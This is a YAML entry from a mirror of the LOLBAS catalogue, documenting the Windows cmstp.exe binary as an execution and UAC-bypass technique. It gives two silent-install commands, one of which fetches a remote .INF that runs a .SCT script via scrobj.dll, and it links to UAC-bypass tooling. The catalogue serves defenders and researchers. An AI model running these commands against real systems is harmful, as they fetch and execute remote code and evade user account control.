mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-10-23 00:58:42 +02:00
27 lines
1.3 KiB
YAML
27 lines
1.3 KiB
YAML
---
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Name: Cmstp.exe
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Description: Execute, UACBypass
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Author: ''
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Created: '2018-05-25'
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Categories: []
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Commands:
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- Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
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Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
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Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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Full Path:
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- C:\Windows\system32\cmstp.exe
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- C:\Windows\sysWOW64\cmstp.exe
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Code Sample: []
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Detection: []
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Resources:
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- https://twitter.com/NickTyrer/status/958450014111633408
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- https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
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- https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
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- https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
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- https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
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(UAC Bypass)
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- https://github.com/hfiref0x/UACME
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Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer
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